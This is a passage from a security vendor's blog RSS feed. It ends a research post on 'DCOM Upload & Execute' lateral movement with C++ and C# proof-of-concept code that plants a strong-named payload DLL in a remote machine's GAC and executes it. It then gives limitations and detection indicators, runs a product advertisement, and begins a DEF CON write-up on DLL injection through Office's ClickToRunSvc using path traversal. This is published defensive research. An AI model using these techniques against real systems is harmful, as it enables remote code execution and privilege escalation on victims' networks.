outIntCommit = 0;<strong><br bold="[object Object]"/><br bold="[object Object]"/></strong>char* outCharCommit =<strong> nullptr;<br bold="[object Object]"/><br bold="[object Object]"/></strong>// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent<strong><br bold="[object Object]"/><br bold="[object Object]"/></strong>hr = pMsiAction-&gt;URTCommitAssemblies(mocGuid1, <strong>&amp;</strong>outIntCommit, <strong>&amp;</strong>outCharCommit);</pre><p></p><p><em>Payload.dll</em> is now uploaded to:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt88d568668b167da3" alt="fig-19-payload-in-GAC-folder.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt88d568668b167da3/6757643fbbb2f6cc0e399940/fig-19-payload-in-GAC-folder.png" width="auto" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 19: payload.dll uploaded to the GAC folder after URTCommitAssemblies</figcaption></div></figure><p></p><p>Analyzing each token on this path with accordance to <em>payload.dll</em>’s strong name details, we derive the GAC path structure for installed assemblies (valid for .NET version =&gt; 4):&nbsp;</p><p><em>C:\Windows\Microsoft.NET\assembly\GAC_[assembly_bitness]\[assembly_name]\v4.0_[assembly_version]__[public_key_token]\[assembly_name].dll&nbsp;</em></p><p>Getting those details from a strong-named DLL can be done using <em>sigcheck.exe </em>(Sysinternals) and <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/sn-exe-strong-name-tool"><u>sn.exe</u></a> (.NET Framework tools)&nbsp;</p><p>We have managed to install an assembly DLL to a predictable path in the GAC and figure out the path structure. Let's now incorporate our efforts into the attack:&nbsp;</p><pre>// resuming from our last code snippets<br /><br />// our payload is the dummy .NET payload.dll<br /><br />// URTCommitAssemblies commits payload.dll to the GAC<br /><br />hr = pMsiAction-&gt;URTCommitAssemblies(mocGuid1, &amp;outIntCommit, &amp;outCharCommit);<br /><br /><br />std::wstring payload_bitness = L"64"; // our payload is x64<br /><br />std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll<br /><br />std::wstring payload_assembly_name = L"payload";<br /><br />std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll<br /><br /><br />// forging all elements to the GAC path<br /><br />std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);<br /><br />hr = pMsiAction-&gt;LoadEmbeddedDLL(payload_gac_path.c_str(), 0);</pre><p></p><p>The updated attack code runs successfully, and to confirm our payload was loaded to the remote MSIEXEC.exe we break into it in Windbg and query:</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte4d3004314bd577c" alt="fig-20-windbg-confirms-payload-in-GAC.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte4d3004314bd577c/6757643fa3d521813151c30a/fig-20-windbg-confirms-payload-in-GAC.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 20: Windbg confirms payload.dll is loaded from the GAC</figcaption></div></figure><p></p><p>Success! But we’re not quite done yet, as .NET assemblies do not have “DllMain” functionality on native processes<span style="color: rgb(209, 52, 56);">,</span> so no code is running. There are a couple of possible workarounds, but our solution will be adding an export to our payload.dll assembly. As for calling this export, <em>IMsiCustomAction</em> has us covered once more.&nbsp;</p><p></p><h5>Running .NET Exports</h5><p></p><p>As I’ve mentioned, <em>IMsiCustomAction::LoadEmbeddedDLL</em> attempts to resolve some exports after loading a requested DLL and saves the results. When searching for code using the address of the results, we reveal three <em>IMsiCustomAction</em> methods, each invoking a respective export from the loaded DLL:&nbsp;</p><ol><li><p><em>IMsiCustomAction::CallInitDLL</em> <strong>invokes</strong> <em>InitializeEmbeddedUI&nbsp;</em></p></li><li><p><em>IMsiCustomAction::CallShutdownDLL </em><strong>invokes</strong> <em>ShutdownEmbeddedUI&nbsp;</em></p></li><li><span style="color: rgb(0, 0, 0);"><em>IMsiCustomAction::CallMessageDLL</em></span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 0);"><strong>invokes</strong></span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 0);"><em>EmbeddedUIHandler&nbsp;</em></span></li></ol><p>Each method provides different arguments to the respective export, and we will use <em>IMsiCustomAction::CallInitDLL</em> which provides the richest argument set:&nbsp;</p><pre>HRESULT CallInitDLL<strong>(</strong>ulong intVar<strong>,</strong> PVOID pVar<strong>,</strong> ulong<strong>*</strong> pInt<strong>,</strong> ulong<strong>*</strong> pInitializeEmbeddedUIReturnCode<strong>);<br bold="[object Object]"/><br bold="[object Object]"/></strong>// CallInitDLL calls InitializeEmbeddedUI with the following args:<br bold="[object Object]"/><br bold="[object Object]"/>DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)</pre><p></p><p>The combination of <em>ulong intVar </em>and <em>PVOID pVar</em> allows us great flexibility running our payload. For example, <em>PVOID pVar</em> can point to a shellcode our payload will execute, and <em>ulong intVar</em> will be its size.<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>For this POC, we will create a simple implementation of <em>InitializeEmbeddedUI </em>in our <em>payload.dll</em> that displays a message box with attacker-controlled content.<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>We’ll export <em>InitializeEmbeddedUI</em> <a href="https://blog.xpnsec.com/rundll32-your-dotnet/"><u>from our assembly to a native caller</u></a> (msi.dll) with the “<em>.export</em>" IL descriptor<span style="color: rgb(209, 52, 56);">&nbsp;</span></p><p>We can now present the final POC of payload.dll:&nbsp;</p><pre><strong>using System;<br bold="[object Object]"/><br bold="[object Object]"/>using System.Diagnostics;<br bold="[object Object]"/><br bold="[object Object]"/>using System.Runtime.InteropServices;<br bold="[object Object]"/><br bold="[object Object]"/>using </strong>RGiesecke.DllExport; // [DllExport] wraps ".export"<strong><br bold="[object Object]"/><br bold="[object Object]"/>namespace </strong>payload<strong><br bold="[object Object]"/><br bold="[object Object]"/>{<br bold="[object Object]"/><br bold="[object Object]"/> public </strong>class Class1<br bold="[object Object]"/><br bold="[object Object]"/> {<br bold="[object Object]"/><br bold="[object Object]"/> [DllImport("wtsapi32.dll", SetLastError = <strong>true)]</strong><br bold="[object Object]"/><br bold="[object Object]"/> static <strong>extern</strong> bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);<br bold="[object Object]"/><br bold="[object Object]"/> [DllExport]<br bold="[object Object]"/><br bold="[object Object]"/><strong> public</strong> static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)<br bold="[object Object]"/><br bold="[object Object]"/> {<br bold="[object Object]"/><br bold="[object Object]"/> string title = "MSIEXEC - GAC backdoor installed";<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;// The POC will display a message to the first logged on user in the target<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;int WTS_CURRENT_SESSION = 1;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;int resp = 1;<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;// Using WTSSendMessage to create a messagebox form a service process at the users desktop<br bold="[object Object]"/><br bold="[object Object]"/>&nbsp;&nbsp;&nbsp;&nbsp;WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, <strong>out</strong> resp, <strong>false</strong>);<br bold="[object Object]"/><br bold="[object Object]"/><strong> return</strong> 1337;<br bold="[object Object]"/><br bold="[object Object]"/> }<br bold="[object Object]"/><br bold="[object Object]"/> }<br bold="[object Object]"/><br bold="[object Object]"/>}</pre><p></p><p>And the final lines of our DCOM Upload &amp; Execute attack:&nbsp;</p><pre>// runs after our call to pMsiAction-&gt;LoadEmbeddedDLL, loading our payload assembly<br /><br />ulong ret1, ret2;<br /><br />std::string messageToVictim = "Hello from DCOM Upload &amp; Execute";<br /><br />hr = pMsiAction-&gt;CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &amp;ret1, &amp;ret2);</pre><p></p><p>&nbsp;Running the complete attack code will pop a message box on the remote target PC:</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt1983a99b0f1dbb97" alt="fig-21-DCOMUploadExec-commandlie.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1983a99b0f1dbb97/6757644c19cfd53944f09c82/fig-21-DCOMUploadExec-commandlie.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 21: DCOM Upload and Execute Client Commandline</figcaption></div></figure><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2a5e57ba00e31148" alt="fig-22-result-on-target-victim.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2a5e57ba00e31148/6757644ca3d52152cd51c310/fig-22-result-on-target-victim.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 22: Result on target victim</figcaption></div></figure><p></p><p><strong>For the full source code</strong>: <a href="https://github.com/deepinstinct/DCOMUploadExec"><u>https://github.com/deepinstinct/DCOMUploadExec</u></a>&nbsp;</p><p></p><h5>Limitations</h5><p></p><ol><li><p>The attacker and victim machines must be in the same domain or forest.&nbsp;</p></li><li><p>The attacker and victim machines must be consistent with the <a href="https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c"><u>DCOM Hardening patch,</u></a> either with the patch applied on both systems or absent on both.&nbsp;</p></li><li><p>The uploaded &amp; executed assembly payload must have a <a href="https://learn.microsoft.com/en-us/dotnet/standard/assembly/strong-named"><u>strong name</u></a>&nbsp;</p></li><li><span style="color: rgb(0, 0, 0);">The uploaded &amp; executed assembly payload must be either x86 or x64 (Can't be AnyCPU)&nbsp;</span><br /></li></ol><h5>Detection</h5><p></p><p>This attack leaves clear IOCs that can be detected and blocked&nbsp;</p><ol><li><p>Event logs that contain remote authentication data:&nbsp;</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt8e955e2e7688a48b" alt="fig-23-Remote-login-event-log.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8e955e2e7688a48b/6757644c4f07d36e22f31c0a/fig-23-Remote-login-event-log.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 23: Remote login event log </figcaption></div></figure><p><span style="color: rgb(14, 40, 65);"></span></p></li><li><span style="color: rgb(0, 0, 0);">An MSIEXEC service that creates a child (the custom action server) with the command line pattern </span><span style="color: rgb(0, 0, 0);"><em>C:\Windows\System32\MsiExec.exe -Embedding [HEXEDICAMAL_CHARS]&nbsp;</em></span><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blta4867b08c0c4cad6" alt="fig-24-proccess-tree-DCOMUploadExec.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta4867b08c0c4cad6/6757644c197eca0089cde60e/fig-24-proccess-tree-DCOMUploadExec.png" height="auto" /><figcaption style="text-align: center;" style="text-align: center;">Figure 24: Process tree during DCOM Upload & Exec</figcaption></div></figure></li><li><span style="color: rgb(0, 0, 0);">The child MSIEXEC writes a DLL to the GAC&nbsp;<br /><br /></span></li><li><span style="color: rgb(0, 0, 0);">The child MSIEXEC loads a DLL from the GAC&nbsp;<br /></span></li></ol><h5><strong>Summary</strong></h5><p><strong></strong></p><p>Until now, DCOM lateral movement attacks have been exclusively researched on IDispatch-based COM objects due to their scriptable nature. This blog post presents a complete method for researching COM and DCOM objects without depending on their documentation or whether they implement IDispatch.&nbsp;</p><p>Using this method, we expose “DCOM Upload &amp; Execute,” a powerful DCOM lateral movement attack that remotely writes custom payloads to the victim’s GAC, executes them from a service context, and communicates with them, effectively functioning as an embedded backdoor.&nbsp;</p><p>The research presented here proves that many unexpected DCOM objects may be exploitable for lateral movement, and proper defenses should be aligned.&nbsp;</p><p>If you are concerned about these stealthy attacks breaching your environment, <a href="https://www.deepinstinct.com/request-a-demo"><u>request a demo</u></a> to learn how Deep Instinct prevents what other vendors can’t find using the only deep learning framework in the world built from the ground up for cybersecurity.&nbsp;</p><p></p><h5>References</h5><p></p><ol><li><p><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"><u>https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</u></a>&nbsp;</p></li><li><p><a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"><u>https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/</u></a>&nbsp;</p></li><li><p><a href="https://github.com/tyranid/oleviewdotnet"><u>https://github.com/tyranid/oleviewdotnet</u></a>&nbsp;</p></li><li><p><a href="https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/"><u>https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/</u></a>&nbsp;</p></li><li><p><a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques"><u>https://www.cybereason.com/blog/dcom-lateral-movement-techniques</u></a></p></li><li><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory"><u>https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory</u></a></p></li><li><p><a href="https://blog.xpnsec.com/rundll32-your-dotnet/"><u>https://blog.xpnsec.com/rundll32-your-dotnet/</u></a></p></li><li><p><a href="https://www.nuget.org/packages/UnmanagedExports"><u>https://www.nuget.org/packages/UnmanagedExports</u></a></p></li><li><p><a href="https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c"><u>https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c</u></a></p></li></ol> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ Leveraging Deep Learning for Zero-Day Data Security in Cloud Storage ]]>
</title>
<link>https://www.deepinstinct.com/blog/leveraging-deep-learning-for-zero-day-data-security-in-cloud-storage</link>
<dc:creator>
<![CDATA[ David Trigano ]]>
</dc:creator>
<pubDate>Mon, 25 Nov 2024 13:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/leveraging-deep-learning-for-zero-day-data-security-in-cloud-storage</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd8a8b5617a5cee59/674480002452f9635d0a5530/Shield_full.png" length="1126257" type="image/png"/>
<description>
<![CDATA[ Follow along with David Trigano, Deep Instinct's Director of Product Management, as he explains how DSX for Cloud - Amazon S3 fills the gaps in cloud data security left by legacy tools. ]]>
</description>
<content:encoded>
<![CDATA[ <p><span>I have dedicated my career to safeguarding organizations’ most critical data assets. Throughout this journey, I’ve observed a recurring challenge: many organizations underestimate the risks of cloud storage, assuming their cloud providers secure their data in the cloud. The reality is that cloud providers protect their infrastructure, not customers’ data. They also don’t protect against misconfigurations, insufficient access controls, or overlooked permissions that leave sensitive data vulnerable. These gaps present significant risks from external attackers or insider threats, underscoring the need for a proactive, shared-responsibility approach to cloud security.</span></p><p><span>Cloud storage is a vital data management tool </span><span><em>and</em></span><span> a significant target for cybercriminals, positioned in the middle of a quickly escalating technological battle. As the data storage market evolves and rapidly expands, organizations face increasing challenges from exponential data growth and a deluge of zero-day attacks generated using Dark AI. And the native security capabilities of cloud storage providers aren’t enough to stop these sophisticated threats.</span></p><h5><span><strong>The Issue with Legacy Cybersecurity Tools</strong></span></h5><p></p><p><strong></strong></p><p><span>Amazon S3</span>,<span><strong> </strong></span><span>the world’s largest cloud storage provider, dominates the enterprise data storage market. With this massive scale comes critical vulnerabilities for organizations, especially when using </span><a href="https://www.deepinstinct.com/deep-instinct-vs-competitors"><span>legacy cybersecurity tools</span></a><span> that can’t keep pace. These tools foster a false sense of confidence and leave blind spots. For example, attacks like malware time-bombs are designed to evade detection by traditional signature-reliant tools. They can sit undetected in storage until triggered, catching most security tools off guard. Simultaneously, a flood of AI-generated attacks is exposing any gap in the perimeter, and legacy tools aren’t advanced enough to stop them. The pressure is mounting. The danger is growing.&nbsp;</span></p><p><span>Fortunately, there is a path forward.</span></p><h5><span><strong>Solving a Massive Problem: Our Work with Amazon S3</strong></span></h5><p></p><p><strong></strong></p><p></p><p><span>Introducing Deep Instinct’s </span><a href="https://www.deepinstinct.com/dsx/dsx-cloud-amazon-s3"><span>Data Security X (DSX) for Cloud – Amazon S3</span></a><span>, a purpose-built solution providing Zero-Day Data Security (ZDDS) to defend Amazon S3 cloud storage environments against threats and preemptively neutralize malware.</span></p><p><span>After a quick and easy deployment, </span><span><em>DSX for Cloud – Amazon S3</em></span><span> scans files at rest or in motion before they can execute. An industry-best scan speed of &lt;20ms per file allows for scanning, categorization, quarantine of malicious files, and immediate alerts to security teams. And by reducing security events and minimizing infrastructure costs, </span><span><em>DSX for Cloud </em></span><span>contributes to a lower total cost of ownership (TCO). Best of all, it’s certified by AWS and works natively with Amazon S3.</span></p><p><span>Importantly, these scan speeds leverage our </span><a href="https://www.deepinstinct.com/dsx-brain"><span>deep learning framework</span></a><span>, which features </span><span><strong>&gt;99% efficacy against known and unknown threats and a &lt;0.1% false positive rate</strong></span><span>. Instead of just comparing files to a checklist of known threats, DSX for Cloud examines every file and determines if it's malicious, even if the code has never been seen before, by any service. With lightning-fast speeds, it can quickly scan your full S3 storage environment – something legacy tools can’t do – and scale with your storage needs. Put another way, DSX for Cloud effectively stops threats that other tools can’t find.</span></p><h5><span><strong>Fighting AI with the Best AI: Available Now</strong></span></h5><p></p><p><strong></strong></p><p></p><p><span>In the fight against zero-day threats and unknown malware, </span><span><a href="https://www.deepinstinct.com/dsx/dsx-cloud-amazon-s3" target="_self"><em>DSX for Cloud – Amazon S3</em></a></span><span> is the only solution on the market capable of preventing Dark AI-generated malware, regardless of the novelty or volume of attacks. The ability to prevent attacks is a necessity in high data volume environments. Deep Instinct levels the playing field, enabling you to </span><span><em>fight AI with better AI</em></span><span>.</span></p><p><span><em>DSX for Cloud – Amazon S3</em></span><span> is now available in the </span><a href="https://aws.amazon.com/marketplace/seller-profile?id=seller-2vxjapmpeczok" target="_self"><span>AWS Marketplace</span></a><span>, enabling buyers to integrate the payment process with their existing AWS billing system and streamline their procurement experience</span><span>.</span></p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ SHIM Me What You Got: Manipulating Shim and Office for Code Injection ]]>
</title>
<link>https://www.deepinstinct.com/blog/SHIM-Me-What-You-Got:-Manipulating-Shim-and-Office-for-Code-Injection</link>
<dc:creator>
<![CDATA[ Ron Ben Yizhak ]]>
</dc:creator>
<pubDate>Wed, 18 Sep 2024 13:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/SHIM-Me-What-You-Got:-Manipulating-Shim-and-Office-for-Code-Injection</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7fcfdc9bf0ef34f8/66e9fce3026b475889d9f3c6/DEFCON_Speaker_Image.jpg" length="236590" type="image/jpeg"/>
<description>
<![CDATA[ Deep Instinct security researchers Ron Ben-Yizhak and David Shandalov share the research they presented at DEF CON 32: an in-depth exploration of two different attack methods. Explore the methods they presented and follow along as they explain how they work. ]]>
</description>
<content:encoded>
<![CDATA[ <p>Curiosity is a necessary personality trait for cybersecurity professionals. For many of us, that means taking the defensive knowledge we’ve built and using it as a weapon. Understanding attack methodologies and how attackers think is key to successfully defending against them.&nbsp;&nbsp;</p> <p>This blog is a supplement to our talk at DEF CON 32. In that talk we discussed the resurrection of an attack surface that cybersecurity vendors believed had been addressed a long time ago. We focused on two sets of unique attack surface research.&nbsp;&nbsp;</p> <p>The first study targeted RPC servers related to Office. Analyzing a single RPC method led to a noteworthy attack that combined several manipulations to achieve both code injection and privilege escalation.&nbsp;&nbsp;</p> <p>The second study focused on reverse-engineering the App Compatibility framework and its undocumented structures. We uncovered a novel and stealthy technique to apply malicious shims in a process that does not require registry modification or SDB files and leaves no traces on the disk.&nbsp;</p> <h5>RPC Interface in Office&nbsp;</h5> <p>Microsoft Office is one of the most popular pieces of software in the world.&nbsp; It’s found on almost every Windows machine, no matter where it’s operating. It is a complex tool composed of many components necessary for its operation. Microsoft Office has com objects, scripting engines, and cloud synchronization, as well as backward compatibility for many features, all of which make it the perfect candidate for attack surface research.&nbsp;</p> <p>We began our research by looking for RPC servers running on the machine once Office has been installed. We found the process <em>OfficeClickToRun.exe</em>, which hosts the service <em>ClickToRunSvc</em>. <em>OfficeClickToRun.exe</em> exposes several interfaces, which are implemented in the following RPC files:&nbsp;&nbsp;</p> <ul> <li> <p>OfficeClickToRun.exe&nbsp;</p> </li> </ul> <ul> <li> <p>AppVIsvVirtualization.dll&nbsp;</p> </li> </ul> <ul> <li> <p>AppVIsvSubsystemController.dll&nbsp;</p> </li> </ul> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt44d70c85cce075bb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt44d70c85cce075bb/66e1ed731df70e8163492321/Picture1.png-1.png" alt="Picture1.png-1.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">RPC interfaces of ClickToRunSvc displayed with RPC Investigator</figcaption> </div> </figure> <p></p> <p>A string in <em>AppVIsvVirtualization.dll</em> caught our attention: "Could not inject subsystem dll to child process, process id %3%, module %2%, error code %1%." This is a debug string printed by one of the RPC methods the DLL exposes.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltea8bd80f4d2a8dc5" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltea8bd80f4d2a8dc5/66e1ed716f7b43891ad480e3/Picture1.png-2.png" alt="Picture1.png-2.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">String in AppVIsvVirtualization.dll indicating on code injection</figcaption> </div> </figure> <p></p> <p><span style="color: rgb(0, 0, 0);"></span><span style="color: rgb(0, 0, 0);">To verify that this method performs DLL injection, we debugged the service and put breakpoints on WinAPI for code injection. While starting an Office program, we saw this RPC method led to </span><span style="color: rgb(0, 0, 0);"><em>WriteProcessMemory</em></span><span style="color: rgb(0, 0, 0);">! This looked promising, so we decided to dig deeper into this DLL.&nbsp;</span></p> <h5>AppVIsvVirtualization.dll&nbsp;</h5> <p>The description of<em> AppVIsvVirtualization.dll</em> is “Microsoft Application Virtualization Client Virtualization Manager Component.” In reality, it’s an RPC server that exposes two undocumented methods. The second method performs the DLL Injection. We used PowerShell to look for RPC clients and that led us to the file <em>AppvIsvSubsystems64.dll</em>. The public symbols of the client reveal that the functions that perform the RPC calls are named:&nbsp;</p> <p>&nbsp;&nbsp;&nbsp; a. virtman_notification_server_notify_new_process&nbsp;</p> <p>&nbsp;&nbsp;&nbsp; b. virtman_notification_server_notify_new_child_process&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt8ee4f46e2590f26a" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8ee4f46e2590f26a/66e1ed72d63852b8f99c843c/Picture1.png-3.png" alt="Picture1.png-3.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Searching for RPC clients with PowerShell</figcaption> </div> </figure> <h5></h5> <h5>The Injection Process&nbsp;</h5> <p>To understand the injection process, we started at the beginning and looked at what the client sends to the server. While debugging the software, Word showed us that a child process is created before the RPC method is invoked. The program <em>ai.exe</em> is launched in a suspended state. Afterward, the request is sent to the server with two parameters: The first is the PID of ai.exe. The second is a structure containing the string <em>AppvIsvSubsystems64.dll</em> and its length (i.e., the number of characters it contains).&nbsp;</p> <p>Next, we looked at the server and the files related to the app virtualization platform before we started to reverse-engineer it. We discovered that there were files with names like those found in the system32 directory.&nbsp;&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blta72ce68811937f37" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta72ce68811937f37/66e1ed721df70e5c5d49231d/Picture1.png-4.png" alt="Picture1.png-4.png" width="580" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">App virtualization files in system32</figcaption> </div> </figure> <p></p> <p><span style="color: rgb(0, 0, 0);">Those files have symbols indicating that the Detours library is being used. ’Detours’ is an open-source library developed by Microsoft for monitoring and instrumenting API calls on Windows. It also offers the ability to inject code into other processes. </span><span style="color: rgb(0, 0, 0);"><em>AppVIsvSubsystemController.dll</em></span><span style="color: rgb(0, 0, 0);"> uses this ability by calling the functions </span><span style="color: rgb(0, 0, 0);"><em>DetourUpdateProcessWithDll</em></span><span style="color: rgb(0, 0, 0);"> and </span><span style="color: rgb(0, 0, 0);"><em>DetourCopyPayloadToProcess</em></span><span style="color: rgb(0, 0, 0);">. It can be seen when comparing the Office file to the system32 file with BinDiff.&nbsp;</span></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt50efe0b222ae8ed1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt50efe0b222ae8ed1/66e1ed72d638528a179c8444/Picture1.png-5.png" alt="Picture1.png-5.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">Comparison of the Office files to the system32 files with BinDiff</figcaption> </div> </figure> <p><span style="color: rgb(0, 0, 0);"></span></p> <p>The source code of Detours reveals how the DLL injection is executed. The optional header is modified to point to a new copy of the import table that includes an additional import descriptor to the injected DLL. When viewing the headers of the injected process with WinDbg, the full path to the injected DLL is shown.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt427aed181fd0085d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt427aed181fd0085d/66e1ed72f597b30746ef8b32/Picture1.png-6.png" alt="Picture1.png-6.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">The headers of the injected process displayed with WinDBG</figcaption> </div> </figure> <p></p> <p>The suspended process is then resumed. Since the process is not fully initialized yet, the loader of the operating system uses the modified import table, and <em>AppvIsvSubsystems64.dll</em> is injected into the process. When <em>OfficeClickToRun.exe</em> receives a command to inject a DLL into a 32-bit process, it launches <em>mavinject32.exe</em>, which performs the same injection.&nbsp;</p> <h5>Abusing ClickToRunSvc&nbsp;</h5> <p>Popular software is often excluded from the behavioral analysis of security products to avoid false positives. Knowing that, forcing <em>OfficeClickToRun.exe</em> to inject a DLL might result in a detection bypass.&nbsp;</p> <p>We were able to imitate the call done by <em>virtman_notification_server_notify_new_child_process</em> and inject <em>AppvIsvSubsystems64.dll</em> into a suspended process... but how can we inject another DLL? We know that the function receives a string, so we can change the name of the DLL that will be injected, but writing our DLL file to the Office directory requires administrator privileges and looks very suspicious.&nbsp;</p> <p>Changing the string from <em>AppvIsvSubsystems64.dll</em> to <em>C:\Temp\Injected.dll</em> results in an attempt to load <em>C:\Program Files\CommonFiles\microsoftshared\ClickToRun\C:\Temp\Injected.dll</em>.&nbsp;&nbsp;</p> <p>I<span style="color: rgb(0, 0, 0);">t looks like the string is just appended to a directory without any checks, so we can use an old trick – directory traversal! The dot-dot-slash (..\) sequence will cause the file lookup to look at the parent directory. Several consecutive sequences of dot-dot-slash will manipulate the file lookup to look into a completely different directory. The following import descriptor will end up loading the file </span><span style="color: rgb(0, 0, 0);"><em>C:\temp\Injected.dll</em></span><span style="color: rgb(0, 0, 0);">.&nbsp;</span></p> <p></p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltf78fc628c2b128ac" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf78fc628c2b128ac/66e1ed720d447e1da217265f/Picture1.png-7.png" alt="Picture1.png-7.png" height="auto" /> <figcaption style="text-align: center;" style="text-align: center;">The headers of the process after manipulating the injection method</figcaption> </div> </figure> <p></p> <p></p> <p>At this point, we have already found a new technique to perform DLL injection using a benign application. That alone is a respectable achievement, but we want more.&nbsp;</p> <p>The injection is performed by a process that runs as <em>NT AUTHORITY\SYSTEM</em>. The client can run with low privileges... so can we abuse this service for privilege escalation?&nbsp;</p> <h5>Security Mechanisms in ClickToRunSvc&nbsp;</h5> <p><em>ClickToRunSvc</em> impersonates the RPC client before injecting to verify that it is alloed to access the remote process. This means that an RPC client running with a medium integrity level cannot inject a DLL into a high integrity level process. The thread handling the RPC request will use the same token as the client, and when it tries to gain a handle to the target process, the call to <em>OpenProcess</em> will fail with the error code ERROR_ACCESS_DENIED.&nbsp;</p> <figure> <div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltcffbf51124c52afa" 